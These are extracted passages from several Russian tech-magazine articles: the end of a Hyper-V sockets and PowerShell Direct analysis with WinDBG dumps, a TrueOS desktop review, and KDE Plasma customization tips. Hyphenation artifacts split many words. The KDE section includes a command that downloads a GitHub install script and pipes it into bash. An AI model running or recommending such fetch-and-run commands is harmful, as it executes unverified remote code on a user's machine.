Мож но прос мотреть в WinDBG, что же содер жится по этим адре сам. Подоб‐ 
ные зна чения встре чались на эта пе ини циали зации сокета:

__kd> dc FFFF9D0C351266C0__
ffff9d0c`351266c0  00000001 00000000 00000004 00000000  
................
ffff9d0c`351266d0  00000001 00000000 00000000 00000000  
................
ffff9d0c`351266e0  00000000 00000000 00060001 00000000  
................
__kd> dc FFFF9D0C34A9C340__
ffff9d0c`34a9c340  00000001 00000000 00000003 00000000  
................
ffff9d0c`34a9c350  00000001 00000000 00000000 00000000  
................
ffff9d0c`34a9c360  00000000 00000000 00060001 00000000  
................

В целом мож но сде лать вывод, что PowerShell Direct соз давал ся для слу чаев,
ког да  адми нис тра тор  Hyper‐V  и  адми нис тра тор  вир туаль ного  сер вера  —
одно  и  то  же  лицо.  Слиш ком  боль шой  и  раз нопла новый  поток  дан ных  идет
из гос тевой в хост‐ОС и обра баты вает ся про цес сом powershell.exe, запущен‐ 
ным  с  при виле гиями  Hyper‐V  Administrator  (таково  тре бова ние  для  работы
PowerShell Direct). Конеч но, вряд ли, отпра вив сооб щения с тегом в хост‐ОС,
получит ся  выпол нить  про изволь ную  коман ду,  но  то,  что  в  зависи мых  ком‐ 
понен тах Windows (.NET, XML) уяз вимос ти находят чаще, чем в модуле гипер‐ 
визора,  наг лядно  вид но,  нап ример,  в  базе  дан ных  уяз вимос тей NVD. Впро‐ 
чем,  спе цифи чес кие  усло вия  исполь зования  уяз вимос тей  могут  сде лать  их
бес пер спек тивны ми  (нужен  тер миналь ный  сер вер  XenApp\RDS,  где  поль‐ 
зователь смог получить при виле гии до адми нис тра тора и где адми нис тра тор
Hyper‐V выпол няет коман ды с помощью PowerShell Direct).

ЗАКЛЮЧЕНИЕ
В  статье  мы  рас смот рели  некото рые  аспекты  работы  сокетов  Hyper‐V.
По  резуль татам  мож но  понять,  что  с  архи тек турной  точ ки  зре ния  их  работа
мало  чем отли чает ся  от  работы обыч ных  сокетов,  одна ко  для  их  под дер жки
были вне сены опре делен ные изме нения в ком понен ты сетево го сте ка.

На наш взгляд, это пер вый докумен тирован ный канал для двух сто рон него
обме на дан ными меж ду гос тевой и родитель ской опе раци онны ми сис темами
в  сре де  вир туали зации  Hyper‐V.  Его  мож но  исполь зовать,  нап ример,
для  обме на  дан ными  меж ду  USB‐устрой ством,  под клю чен ным  к  хост‐ОС,
и дочер ней ОС, что полез но для аппа рат ных клю чей защиты или двух фактор‐ 
ной аутен тифика ции при вхо де в опе раци онную сис тему.

Ра зуме ется,  при веден ный  выше  при мер  исполь зует ся  исклю читель но
для демонс тра ции их работы. Как, нап ример, будет работать этот механизм
переда чи  дан ных  для  мно гопо точ ных  при ложе ний  или  при  переда че  боль‐ 
шого  объ ема  дан ных,  сей час  ска зать  слож но. Пос мотрим,  будут  ли  исполь‐ 
зовать  сто рон ние  раз работ чики  пре дос тавлен ную  ком пани ей Microsoft  воз‐ 
можность переда чи дан ных.
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«Непонят но зачем сущес тву ющий живой  труп» — при мер но
так  сегод ня  при нято  говорить о  FreeBSD.  Хайп  вок руг  Linux
и GPL сде лал свое дело и вытес нил ког да‐то самую популяр‐ 
ную  сер верную  ОС  на  зад ворки  сер верной.  Тем  не  менее
FreeBSD  —  очень  даже  живая  сов ремен ная  ось  с  мас сой
вкус ностей под капотом и прек расной под дер жкой обо рудо‐ 
вания. А TrueOS — едва ли не наибо лее крас норечи вое тому
под твержде ние.

TRUEOS ВЧЕРА
В 2005 году, ког да популяр ность FreeBSD на сер верах все еще была высока,
Крис Мур (Kris Moore), в то вре мя при нимав ший активное учас тие в раз работ‐ 
ке  сис темы,  решил  показать  FreeBSD широким  мас сам  и  начал  раз работ ку
дес ктоп ного вари анта ОС.

Не  то  что бы  FreeBSD  не  годилась  для  при мене ния  на  дес кто пах —  она
всег да  прек расно  справ лялась  с  этой  ролью  и  для  обыч ного  поль зовате ля
поч ти  ничем  не  отли чалась  от  любого  дис три бути ва  Linux.  Но  у  нее  был
доволь но  высокий  порог  вхож дения.  Сис тему  при ходи лось  уста нав ливать
с  помощью  не  самого  удоб ного  псев догра фичес кого  инстал лятора,  пос ле
чего доводить руками до сос тояния пол ноцен ного дес кто па.

По это му  пер вое,  что  сде лал Крис Мур, — написал  прос той  гра фичес кий
инстал лятор,  который  уста нав ливал  пол ностью  готовую  к  работе  ОС  с  гра‐ 
фичес ким окру жени ем KDE и набором необ ходимо го в быту соф та. Чуть поз‐ 
же он добавил в PC‐BSD (так тог да называ лась TrueOS) инс тру мен ты для гра‐ 
фичес кой нас трой ки, не тре бующие ковырять ся в тер минале, и при думал спе‐ 
циаль ный фор мат  самодос таточ ных  пакетов PBI. Пакет мож но было  ска чать
на рабочий стол и уста новить одним кли ком. Все зависи мос ти уже были внут‐ 
ри, а само при ложе ние раз мещалось в обо соб ленном катало ге, так же как в
macOS и Windows.

Ин стал лятор пакета PBI

PC‐BSD ока залась нас толь ко хороша, что OSWeekly наз вал ее 
,  а  Кри са  вмес те  с  опе раци онкой  тут  же  взя ла

под  свое  кры ло  ком пания  iXsystems,  спе циали зиру ющаяся  на  про даже  сер‐ 
веров и NAS под управле нием FreeBSD.

са мой дру жес‐ 
твен ной  к  нович кам  ОС

С тех пор утек ло мно го воды. Linux прев ратил ся в де‐фак то стан дарт, Free‐
BSD потеря ла сущес твен ную часть доли на сер верах, а PC‐BSD сме нила имя
на TrueOS. Но может ли она побороть ся за кон курен цию с Linux на дес кто пе
сегод ня?

TRUEOS СЕГОДНЯ
В  отли чие  от  PC‐BSD,  какой  она  была  вплоть  до  2016  года,  TrueOS  —
это  rolling  release  дис три бутив  FreeBSD.  Дру гими  сло вами,  релизов  TrueOS
не  сущес тву ет,  опе раци онка  пос тоян но  раз вива ется,  обновле ния  выходят
каж дую неделю, а новые обра зы инстал ляци онно го дис ка появ ляют ся каж дый
месяц.

На  момент  написа ния  этих  строк  пос ледний  образ  TrueOS  носил  имя
.  Весит  он  при мер но  два  с  полови ной  гигабай та  и  вклю‐ 

чает  в  себя  как  дес ктоп ный,  так  и  сер верный  вари анты  дис три бути ва.  Пос‐ 
ледний отли чает ся толь ко отсутс тви ем гра фичес кой обо лоч ки.
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Ус танов ка дос таточ но стан дар тна для любой сов ремен ной ОС. Осо бо сто‐ 
ит  отме тить  раз ве  что  воз можность  сох ранить  выб ранные  при  инстал ляции
опции  на  USB‐стик  и  исполь зовать  их  для  уста нов ки  на  дру гую  машину.
В целом все очень прос то: нес коль ко нажатий на кноп ку «Далее» и перезаг‐ 
рузка.

Ус танов ка

Пос ле  пер вой  заг рузки  TrueOS  запус тит  визард,  который  пред ложит  уста‐ 
новить  драй веры  Nvidia/VMware/VirtualBox  (драй веры  Intel  и  AMD  вклю чены
в  сос тав  дис три бути ва),  выб рать  часовой  пояс  и  хос тнейм,  ввес ти  пароль
root, соз дать нового поль зовате ля, а так же вклю чить дос туп по SSH, под дер‐ 
жку IPv 6, бес про вод ные сетевые кар ты Realtek и поменять некото рые дру гие
парамет ры.

Вы бира ем драй вер виде окар ты

Сто ит  ска зать,  что  ско рость  заг рузки  не  впе чат ляет.  Она  длит ся  нам ного
доль ше, чем в сов ремен ных дис три бути вах на осно ве systemd и Upstart. При‐ 
чина  прос та:  для  ини циали зации  TrueOS  исполь зует  сис тему  ,  раз‐ 
работан ную коман дой Gentoo. OpenRC нам ного пре вос ходит в воз можнос тях
стан дар тную сис тему ини циали зации FreeBSD, но в то же вре мя испы тыва ет
серь езные  проб лемы  с  про изво дитель ностью  из‐за  пов семес тно го  исполь‐ 
зования скрип тов и отсутс твия воз можнос ти запус кать сер висы парал лель но
(на  самом  деле  такая  воз можность  есть,  но  по  умол чанию  она  отклю чена
из‐за багов).

OpenRC

ДЕСКТОП
По окон чании пер вичной нас трой ки на экра не появ ляет ся рабочий стол 
. Это детище раз работ чиков TrueOS, при шед шее на сме ну KDE. Lumina —

быс трая, прос тая, но силь но недора ботан ная сре да. По сути, это все го лишь
панель с кноп кой «Пуск», тре ем и часами в ниж ней час ти экра на, а так же нес‐ 
коль ко ути лит кон фигура ции и при ложе ний, сре ди которых фай ловый менед‐ 
жер  Insight,  ути лита для  поис ка  и  скрин шотер  экра на. Собс твен ного менед‐ 
жера окон у Lumina нет, поэто му TrueOS исполь зует для этой цели Fluxbox, а в
качес тве окна логина в сис тему — PCDM.

Lumi‐
na

Lumina

Как и KDE, Lumina базиру ется на фрей мвор ке Qt, но име ет гораз до мень ше
зависи мос тей и не при вяза на к фун кци ональ нос ти, дос тупной толь ко на дес‐ 
кто пах  Linux  (systemd,  sysfs,  dbus,  PolicyKit).  Это  неч то  вро де  LXDE  —  лег‐ 
ковес ная  сре да,  которая  оди нако во  хорошо  работа ет  как  на  мощ ных
машинах, так и на одноплат никах вро де Raspberry Pi. При чем сбор ка TrueOS
для Raspi  .дей стви тель но есть

Фай ловый менед жер и нас трой ки

А вот в пла не интерфей са Lumina, ска жем так, нес коль ко урод лива. Раз работ‐ 
чик  Кен  Мур  (Ken  Moore)  явно  пытал ся  соз дать  неч то  в  сти ле  популяр ного
сегод ня  flat  design,  но  допус тил  колос саль ное  количес тво  огре хов,  начиная
тол щиной  линий  в  монох ромных  икон ках  и  полосах  прок рутки  и  закан чивая
прос тей шими  вещами  вро де  вырав нивания  гра фичес ких  эле мен тов  и  при‐ 
мене ния  совер шенно  неумес тных  гра диен тов.  Плюс  ко  все му  набор  ико нок
Lumina  не  пок рыва ет  даже  пре дус танов ленные  при ложе ния,  поэто му  часть
из них име ют «фир менные» чер но‐белые икон ки, а часть — стан дар тные.

К счастью, в репози тории TrueOS есть  гра фичес кие окру жения на любой
вкус и цвет, вклю чая тот же KDE, а так же Xfce, MATE, GNOME и дру гие.

Ра бочий стол MATE

ОБНОВЛЕНИЯ И ПАКЕТЫ
Сме нить  окру жение  рабоче го  сто ла  и  уста новить  дру гой  софт  мож но
с  помощью  фир менно го  гра фичес кого  при ложе ния  AppCafe.  Это  доволь но
прос той обоз реватель уста нов ленных при ложе ний и прог рамма для уста нов‐ 
ки  пакетов  из  репози тория.  Сами  пакеты  рас простра няют ся  в  стан дар тном
для FreeBSD фор мате  TXZ и  уста нав лива ются  в  сис темные  катало ги  вмес то
выделен ных, как это было в начале сущес тво вания PC‐BSD.

Ус танав лива ем софт

Для  уста нов ки  соф та  так же  мож но  исполь зовать  стан дар тную  для  FreeBSD
коман ду  ,  но  здесь  есть  две  тон кости.  Во‐пер вых,  TrueOS  исполь зует
собс твен ный репози торий пакетов. Точ нее, даже два репози тория: ста биль‐ 
ный и нес табиль ный. Так что ты всег да можешь выб рать меж ду новой фун кци‐ 
ональ ностью и надеж ностью.

pkg

А во‐вто рых, и это гораз до более важ но, в TrueOS нет кон цепции базовой
сис темы, как во всех осталь ных BSD. Это зна чит, что ОС не име ет раз деления
на  опе раци онную  сис тему  BSD,  которая  пос тавля ется  одним  кус ком
и  обновля ется  с  помощью  отдель ной  ути литы  (freebsd‐update  во  FreeBSD),
и  на  уста нов ленные  поверх  нее  пакеты.  Вмес то  это го  ОС  целиком  сос тоит
из отдель ных пакетов, как и любой дис три бутив Linux.

Об новля ем TrueOS

TrueOS  гаран тиру ет  целос тность  сис темы  при  обновле нии.  Тех ничес ки
инстал лятор  не  может  оста вить ОС  в  некон систен тном  сос тоянии,  обно вив
толь ко  часть  пакетов,  и  не  может  сло мать  ее  в  слу чае,  если  раз работ чики
допус тили ошиб ку, которая при ведет к нерабо тос пособ ности ОС.

Та кое  воз можно  бла года ря  ZFS.  Перед  обновле нием  базовых  пакетов
TrueOS соз дает новый снап шот фай ловой сис темы,  уста нав лива ет обновле‐ 
ние  на  него  и  помеча ет  его  как  основной.  Сле дующая  заг рузка  начина ется
уже с это го снап шота, и, если она закон чится неуда чей, ты смо жешь выб рать
пре дыду щий снап шот в меню Select Boot Environment. Все го таких снап шотов
может быть пять (с воз можностью уве личе ния до десяти).

Бо лее  того,  в  любой  момент  ты  можешь  самос тоятель но  соз дать  новый
снап шот  с  помощью  гра фичес кой  ути литы SysAdm или  с  помощью  коман ды

. При мене ний у этой фун кции мас са. Самый прос той при‐ 
мер — экспе римен ты с сис темой. Прос то соз дай снап шот и делай что хочешь
без  бояз ни  сло мать  сис тему.  Необ ходимо  обно вить  сер вер?  Нет  проб лем,
перед вне сени ем изме нений сде лай снап шот и отка тись на него, если что‐то
пош ло не так.

beadm create ИМЯ

Снап шоты — не единс твен ная фун кция ZFS,  которую исполь зует TrueOS.
Так же она под держи вает пол ное шиф рование дис ка и сжа тие дан ных.

ИНСТРУМЕНТЫ НАСТРОЙКИ
Ути лита  SysAdm,  с  помощью  которой мож но  делать  заг рузоч ные  снап шоты,
на самом деле поз воля ет нам ного боль ше. В TrueOS это сво его рода центр
управле ния  для  все го,  вклю чая  тот  же  AppCafe.  В  нее  встро ен  менед жер
обновле ний,  менед жер  бран дма уэра,  менед жер  сер висов  (демонов),  стар‐ 
тующих  при  заг рузке,  менед жер  про цес сов  и  поль зовате лей  и  даже
интерфейс для нас трой ки мыши.

SysAdm

По боль шому сче ту SysAdm — это инс тру мент сис темно го адми нис три рова‐ 
ния, впер вые появив ший ся в сер верной редак ции дис три бути ва. Поэто му он
поз воля ет управлять не толь ко локаль ной, но и уда лен ной машиной, а боль‐ 
шая часть его фун кци ональ нос ти нап равле на на управле ние сер вером. В час‐ 
тнос ти, в ней есть инс тру мент Life Preserver для управле ния ZFS. Он поз воля‐ 
ет опять же соз давать снап шоты (не заг рузоч ные), а так же нас тро ить их авто‐ 
мати чес кую реп ликацию на уда лен ную машину для бэкапа.

Уп равля ем заг рузоч ными снап шотами

SysAdm  так же  под держи вает  фун кцию  под  наз вани ем  PersonaCrypt.  С  ее
помощью  мож но  перенес ти  поль зователь ский  домаш ний  каталог  на  USB‐
флеш ку,  отформа тиро ван ную  в  ZFS  и  зашиф рован ную  с  помощью  встро‐ 
енной под систе мы FreeBSD GELI или  . Такую флеш ку мож но вез де брать
с  собой  и  перек лючать ся  меж ду  раз личны ми  рабочи ми  стан циями.  Ну
или про вез ти в самоле те в США, где твой ноут бук, воз можно, будут осматри‐ 
вать.

PEFS

Таск‐менед жер

БЫТЬ ИЛИ НЕ БЫТЬ?
TrueOS опре делен но инте рес ная ОС. С точ ки зре ния внут ренней архи тек туры
она поч ти прек расна. ZFS с нес коль кими заг рузоч ными снап шотами и шиф‐ 
ровани ем,  гаран тия  целос тнос ти,  SysAdm,  поз воля ющий  рулить  локаль ной
или уда лен ной машиной, лежащая в осно ве FreeBSD с мас сой плю шек вро де
того  же  модуль ного  сетево го  сте ка  и  модуль ной  сис темы  вво да‐вывода —
все это игра ет в поль зу TrueOS. Ее дей стви тель но хочет ся уста новить на все
свои машины.

Од нако  в  пла не  имен но  дес ктоп ных  воз можнос тей  все  далеко  не  так
однознач но.  С  одной  сто роны,  у  FreeBSD  прек расная  под дер жка  обо рудо‐ 
вания, автор этих строк никог да не стал кивал ся тут ни с какими проб лемами,
она  лег ко рас позна ет  все  вот кну тые флеш ки, мыш ки,  кла виату ры и  нам ного
более экзо тичес кие вещи. Любой сис темой на базе FreeBSD при ятно поль‐ 
зовать ся,  она  гораз до  более  про думан на  и  кон систен тна,  чем  Linux.  Здесь
все на сво их мес тах и работа ет так, как ты и пред полага ешь.

С дру гой сто роны, рабочий стол Lumina никуда не годит ся. Его обя затель‐ 
но надо менять. Кро ме  того, при исполь зовании TrueOS ты навер няка стол‐ 
кнешь ся с проб лемами сов мести мос ти. Дос тупный толь ко для Linux Skype ты,
конеч но,  запус тишь,  слой  сов мести мос ти  с  Linux  в  TrueOS  акти виро ван
по  умол чанию,  а  сам  Skype  даже  най дет ся  в  стан дар тном  репози тории.
Но  есть  огромное  количес тво  соф та,  который  завязан  на  Linux  нас толь ко
силь но, что запус тить его даже при наличии слоя сов мести мос ти не получит‐ 
ся. Нап ример, кли ента Steam здесь нет.

Ну  и  не  сто ит  забывать,  что,  хоть  у  FreeBSD  и  прек расная  под дер жка
железа, она не нас толь ко хороша, как в Linux. А о непонят ных железя ках, про‐ 
изве ден ных  в  полупод валах  Китая  с  драй верами  толь ко  для  Linux,  мож но
забыть вооб ще. В осталь ном TrueOS впол не зас лужива ет пра во на жизнь.

mailto:zobnin@glc.ru
http://web.archive.org/web/20061018194848/http://www.osweekly.com/index.php?option=com_content&task=view&id=2287&Itemid=449
http://download.trueos.org/master/amd64/TrueOS-2017-06-01-x64-DVD.iso
https://github.com/OpenRC/openrc
https://lumina-desktop.org/
http://download.trueos.org/pico/armv6/
http://pefs.io/
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Как у любого дру гого замет ного про екта, у KDE есть и неп‐ 
римири мые  оппо нен ты,  и  ярые  сто рон ники.  И  в  то  вре мя
как пер вые кри тику ют сис тему за слож ность и слиш ком боль‐ 
шое  чис ло  опций  нас трой ки,  высокое  ресур сопот ребле ние
и недос таточ ную ста биль ность,  вто рые париру ют  подоб ные
выпады тем, что имен но оби лие нас тро ек дает воз можность
прис пособить KDE для любых нужд и для любых кон фигура‐ 
ций железа.

Анон сирован ный более двад цати лет назад про ект с амби циоз ным наз вани‐ 
ем Kool Desktop Environment c самого начала ста вил сво ей целью соз дание
пол нофун кци ональ ного,  гиб ко  нас тра иваемо го,  обла дающе го  при ятным
внеш ним видом рабоче го окру жения. Читая тог дашний манифест осно вате ля
про екта  Мат тиаса  Эттри ха  о  соз дании  самодос таточ ной  рабочей  сре ды
и  дер жа  перед  собой  запущен ную  Plasma  5,  отда ешь  дол жное  раз работ‐ 
чикам — за два про шед ших десяти летия про екту уда лось не потерять из виду
пос тавлен ной цели.

KDE — очень гиб кая сре да, раз делен ная на мно жес тво поч ти незави симых
ком понен тов, которые мож но менять и перета совы вать. Рабочий стол Plasma
целиком  сос тоит  из  вид жетов  (аппле тов,  плаз моидов),  спо соб ных  подс тра‐ 
ивать ся  под  ситу ацию. Один  и  тот  же  вид жет мож но  раз местить  на  панели,
рабочем сто ле или дос ке при ложе ний или вооб ще убрать его и заменить дру‐ 
гим.  Эта  и  дру гие  осо бен ности  KDE  откры вают  огромный  прос тор  для  кас‐ 
томиза ции.

ОРГАНИЗУЕМ ПАНЕЛЬ
В «Плаз ме» панель с края экра на — это тот же вид жет. В то же вре мя сама
панель слу жит средс твом упо рядо чива ния, с помощью которо го мож но дер‐ 
жать осталь ные исполь зуемые вид жеты на виду так, что бы они были под рукой
в нуж ный момент.

Ре жим нас трой ки панели

Вид жет «Панель задач» и его лаконич ный соб рат «Панель задач (толь ко знач‐ 
ки)»  отоб ража ют  запущен ные  в  дан ный  момент  при ложе ния.  Но  пос ледний
при этом эко номит доволь но при лич ное количес тво мес та на самой панели,
а зак репле ние на ней знач ков час то исполь зуемых при ложе ний обес печит их
быс трый запуск в нуж ный момент.

Па рамет ры вид жета «Панель задач (толь ко знач ки)»

Ос таль ные при ложе ния удоб но запус кать, вос поль зовав шись пол номас штаб‐ 
ной  «Дос кой  при ложе ний»  (реин карна цией  Homerun  для  Qt  5).  C  выходом
Plasma  5.10  в  нее  ста ли  помещать ся  еще  и  вид жеты,  уста новить  которые
мож но прос тым перетас кивани ем в нуж ное мес то. Тут же кноп ки вык лючения,
выхода из сис темы и перезаг рузки.

Вы бор эле мен тов «Дос ки при ложе ний»

ГЛОБАЛЬНОЕ МЕНЮ А-ЛЯ MACOS
Фун кция, поз воля ющая раз местить меню при ложе ний в панели, была еще в
KDE 4, но дол гое вре мя отсутс тво вала в Plasma 5. В Plasma 5.9 она наконец
появи лась  в  сос таве  нового  плаз моида.  Одна ко  луч шим  выбором  будет
гораз до более мощ ный вид жет  .Active Window Control

Ис поль зование  вид жета  име ет  боль ший  смысл,  если  панель  на  рабочем
сто ле  раз мещена  ввер ху  экра на.  Его  фун кци ональ ность  поз воля ет  рас‐ 
положить  на  панели  кноп ки  управле ния  окном  запущен ной  прог раммы,  ее
зна чок  и  заголо вок,  а  так же  меню.  Оби лие  раз личных  нас тро ек  дает  воз‐ 
можность  опре делить,  какие  из  эле мен тов  будут  отоб ражать ся  на  панели,
в каком слу чае и в каком поряд ке.

Нас трой ки вид жета Active Window Control

Для себя я задал такие нас трой ки, что бы, ког да все окна свер нуты, на панели
отоб ражалась  над пись  по  умол чанию  Plasma  Desktop.  Ее  мож но  изме нить
на любую дру гую на свой вкус или вов се исклю чить, пос тавив про бел в окне
соот ветс тву ющих  нас тро ек.  При  миними зиро ван ном  окне  активно го  при‐ 
ложе ния на панели отоб ражен заголо вок окна.

Нас трой ки вид жета поз воля ют с помощью внут ренне го скрип та изме нить
порядок  рас положе ния  наз вания  прог раммы  и  наиме нова ния  откры того
докумен та. При наведе нии кур сора мыши на заголо вок окна в вид жете вмес‐ 
то  заголов ка  отоб ража ется  меню  при ложе ния.  При  рас пахну том  окне
активно го  при ложе ния  к  заголов ку  окна  добав ляют ся  кноп ки  управле ния
текущим окном, а заголо вок и кноп ки самого окна скры ты.

ДОК
Кро ме  гло баль ного  меню,  для  KDE  есть  реин карна ция  дру гого  неотъ емле‐ 
мого атри бута macOS — дока с икон ками.   — это гла мур ная замена
стан дар тно го  вид жета  «Панель».  Он  име ет  мно жес тво  нас тро ек  внеш него
вида и поведе ния. Переве ден на мно гие язы ки.

Latte‐dock

Latte‐dock

Ес ли  не  боишь ся  нар вать ся  на  допол нитель ный  рас ход  ресур сов,  можешь
уста новить вид жет с помощью менед жера пакетов в любом популяр ном дис‐ 
три бути ве.  Но  так  как  про ект  активно  раз рабаты вает ся,  целесо образно
собирать нуж ные пакеты из исходни ков, взя тых с  .GitHub про екта

Полез ные сочета ния кла виш KDE
Ctrl + Esc — запус тить сис темный монитор;•
Ctrl + Alt + Esc — при нуди тель но завер шить при ложе ние;•
Alt + про бел — запус тить KRunner;•
Ctrl + F12 — свер нуть все окна;•
Alt + Tab — про лис тать откры тые окна;•
Meta  +  Tab  /  Meta  +  Shift  +  Tab  —  перек лючать  ком наты  в  пря мом
и обратном поряд ке;

•

Ctrl + Alt + Shift + Page Up — перезаг рузить сис тему без под твержде ния;•
Ctrl + Alt + Shift + Page Down — вык лючить компь ютер без под твержде ния.•

ВИДЖЕТЫ МОНИТОРИНГА
Всег да  полез но  быть  в  кур се  того,  каким  обра зом  рас ходу ются  мощ ности
машины. Поэто му впол не логич ным выг лядит раз мещение на панели вид жета
«Заг рузка сис темы» и  . Пос ледний отоб ража ет информа цию,
счи тыва емую  с  тем ператур ных  дат чиков  обо рудо вания  компь юте ра.  Что бы
задей ство вать их все, необ ходимо уста новить в сис тему пакет lm_sensors.

Thermal Monitor

Вы бор сен соров в вид жете Thermal Monitor

Для  кон тро ля  за  сетевой  активностью  сущес тву ет  прос той 
от  HessiJames.  Он  монито рит  ско рость  на  всех  сетевых  адап терах  и  отоб‐ 
ража ет мак сималь ную.

Netspeed Widget

Ми нимум нас тро ек Netspeed Widget и всплы вающее окно вид жета

Ес ли же тре бует ся информа ция о ско рос ти каж дого из уста нов ленных соеди‐ 
нений (Ethernet, Wi‐Fi), подой дет стан дар тный вид жет Network Monitor. В нем,
помимо нас трой ки каж дого сетево го интерфей са в отдель нос ти, мож но уста‐ 
новить монито ринг WAN‐пор та роуте ра с про шив кой DD‐WRT.

По год ный  плаз моид    Мар тина  Котель ника  (Martin  Kotelnik
aka clearmartin), на мой взгляд, наибо лее вме няемый из всех вид жетов дан‐ 
ной  темати ки.  Он  раз меща ется  на  панели  в  виде  погод ного  знач ка  с  тем‐ 
перату рой  воз духа. Щел чком  по  нему  мож но  выз вать  окно  с  пол ным  прог‐ 
нозом на нес коль ко дней. Источни ком прог ноза может быть OpenWeatherMap
или yr.no.

Weather Widget

Ме теог рамма в Weather Widget

Те, кому не хва тает воз можнос тей стан дар тных циф ровых часов и кален даря,
могут уста новить   от Zren. В этом ком бай не при сутс тву ют часы,
кален дарь, тай мер, пла ниров щик задач, син хро низи руемый с Google, и прог‐ 
ноз погоды OpenWeatherMap.

Event Calendar

Раз носто рон ний Event Calendar

АНАЛОГ F.LUX
Ког да недос таточ но све та, как пра вило в вечер нее и ноч ное вре мя, уста лость
глаз при работе за монито ром повыша ется в разы. Бороть ся с этим поможет

. Это при ложе ние авто мати чес ки сни жает цве товую тем перату ру дис‐ 
плея, делая изоб ражение более жел тым вечером.
Redshift

Ак тивиро ван ный Redshift Control

Для управле ния прог раммой мож но вос поль зовать ся вид жетом 
.  С  помощью  дан ного  вид жета  мож но  вклю чать‐вык лючать  Redshift,  нас‐ 

тра ивать  режимы,  а  так же  на  лету  изме нять  цве товую  тем перату ру  экра на,
прок ручивая колесо мыши на знач ке вид жета.

Redshift Con‐
trol

ТРЕЙ
Раз работ чики  при ложе ний  име ют  собс твен ный  взгляд  на  дизайн  знач ков
для трея,  так что в кон це кон цов он прев раща ется в раз ноцвет ную гир лянду
из мно жес тва раз номас тных ико нок.

Не кото рые при ложе ния дают воз можность изме нить сто ковый зна чок трея
на икон ку, которая луч ше впи сыва ется в общее офор мле ние. Для осталь ных
на выруч ку при ходит скрипт  . Он спо собен авто мати чес ки обна‐ 
ружить  тему офор мле ния по  умол чанию,  кор рек тные раз меры знач ков,  при‐ 
ложе ния,  не  поз воля ющие  изме нить  свои  знач ки  в  лот ке  стан дар тны ми
средс тва ми, и исправ ляет эти знач ки. При желании мож но вос ста новить ста‐ 
тус‐кво и вер нуть все как было.

Hardcode‐Tray

Ре зуль тат работы Hardcode‐Tray

Для работы скрип та необ ходим модифи циро ван ный sni‐qt. Его и сам скрипт
мож но уста новить с помощью менед жера пакетов в Ubuntu:

$ sudo add‐apt‐repository ppa:andreas‐angerer89/sni‐qt‐patched
$ sudo apt update
$ sudo apt install sni‐qt sni‐qt:i386 hardcode‐tray

и Arch:

$ yaourt ‐S hardcode‐tray sni‐qt‐patched‐git lib32‐sni‐qt‐patched‐git
# Для стабильной версии скрипта

$ yaourt ‐S hardcode‐tray‐git sni‐qt‐patched‐git lib32‐sni‐qt‐patched
‐git # Для нестабильной версии скрипта — недавно она была 
русифицирована

или вруч ную, выпол нив две коман ды:

$ cd /tmp
$ wget ‐O ‐ https://raw.githubusercontent.com/bil‐elmoussaoui/
Hardcode‐Tray/master/data/install.sh | bash

Те мы знач ков Numix и Papirus содер жат все необ ходимые для работы скрип та
знач ки лот ка. Для той темы офор мле ния, которая при мене на в сис теме, дос‐ 
таточ но выпол нить коман ду

$ hardcode‐tray ‐a

Вер нуть дефол тные знач ки трея мож но коман дой

$ hardcode‐tray ‐r

Продолжение статьи →
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ВЫПАДАЮЩИЙ ТЕРМИНАЛ
Ни  один,  даже  самый  наворо чен ный  и  инту итив ный  интерфейс  не  заменит
коман дной стро ки. Понадо бить ся она может в любой момент, и  каж дый раз
тра тить вре мя на запуск Konsole совер шенно не хочет ся.

Ре шает  проб лему  выпада ющий  свер ху  эму лятор  тер минала  .
Помещен ный  в  авто запуск,  он  стар тует  вмес те  с  заг рузкой  сис темы  и  при
необ ходимос ти может быть выз ван кла вишей F12.

Yakuake

Эму лятор пор тирован на Qt 5 и име ет  воз можность нас трой ки  внеш него
вида,  в  том  чис ле  проз рачнос ти  окна.  Если  проз рачнос ти  недос таточ но,
можешь добавить в   сле дующее:~/.bashrc

fi
   if [ `qdbus | grep org.kde.yakuake` ]; then
       xprop ‐f _KDE_NET_WM_BLUR_BEHIND_REGION 32c ‐set _KDE_N
ET_WM_BLUR_BEHIND_REGION 0 ‐id `xwininfo ‐name Yakuake | grep 
"Yakuake" | sed 's/xwininfo: Window id: //g' | sed 's/"Yakuake"//g'`;
   fi
fi

В резуль тате окно будет не толь ко проз рачным, но и с эффектом раз мытия,
что сде лает текст в окне более читабель ным.

За пущен ная прог рамма Music On Console внут ри Yakuake

Yakuake  дает  воз можность  отка зать ся  от  гро моз дких  гра фичес ких  при ложе‐ 
ний  в  поль зу  прос тых  кон соль ных.  К  при меру,  для  прос лушива ния  музыки
мож но исполь зовать лаконич ный Music On Console (mocp), а работать с фай‐ 
лами и пап ками с пра вами root с помощью Midnight Commander (mc).

Dolphin и Yakuake
С помощью сце нария, пред ложен ного Хесусом Тор ресом (Jesús Torres), мож‐ 
но под ружить Dolphin и Yakuake. Сце нарий соз дает новую сес сию в Yakuake
из коман дной стро ки или с помощью фай ла .desktop.

Ус танав лива ется  скрипт  в  пару  шагов.  Сна чала  сле дует  уста новить
yakuake‐session:

$ git clone https://github.com/aplatanado/yakuake‐session.git
$ sudo cp yakuake‐session /usr/bin

За тем добавить дей ствие «Открыть Yakuake в этой пап ке» в Dolphin:

$ cp ServiceMenus/yakuakehere.desktop ~/.local/share/kservices5/
ServiceMenus/

Кро ме  того,  в  Dolphin  мож но  добавить  дей ствие  «Запус тить  в  Yakuake»
для запус ка сце нари ев и исполня емых фай лов. Соот ветс тву ющий патч я уже
пред ложил  авто ру  скрип та.  На  тот  слу чай,  если  он  не  при мет  это  пред‐ 
ложение  или  не  успе ет  внес ти  изме нения  в  свой  репози торий,  вот  как  это
мож но сде лать самос тоятель но.

Соз даем новый тек сто вый документ и помеща ем в него сле дующее:

[Desktop Entry]
Type=Service
X‐KDE‐ServiceTypes=KonqPopupMenu/Plugin
MimeType=application/x‐executable;
Actions=runInYakuake;
X‐KDE‐AuthorizeAction=shell_access
[Desktop Action runInYakuake]
TryExec=konsole
Exec=yakuake‐session ‐‐hold ‐e %f
Icon=yakuake
Name=Run In Yakuake
Name[es]=Ejecutar en Yakuake
Name[ru]=Запустить в Yakuake
Comment=Run within Yakuake
Comment[es]=Ejecutar en Yakuake
Comment[ru]=Выполнить команду в Yakuake

Сох раня ем  документ  под  име нем  yakuakerun.desktop  в 
 и дела ем его исполня емым. Теперь в меню Dol‐

phin появит ся соот ветс тву ющий пункт.

~/.local/share/
kservices5/ServiceMenus/

ВКЛЮЧАЕМ ТАЙЛИНГ
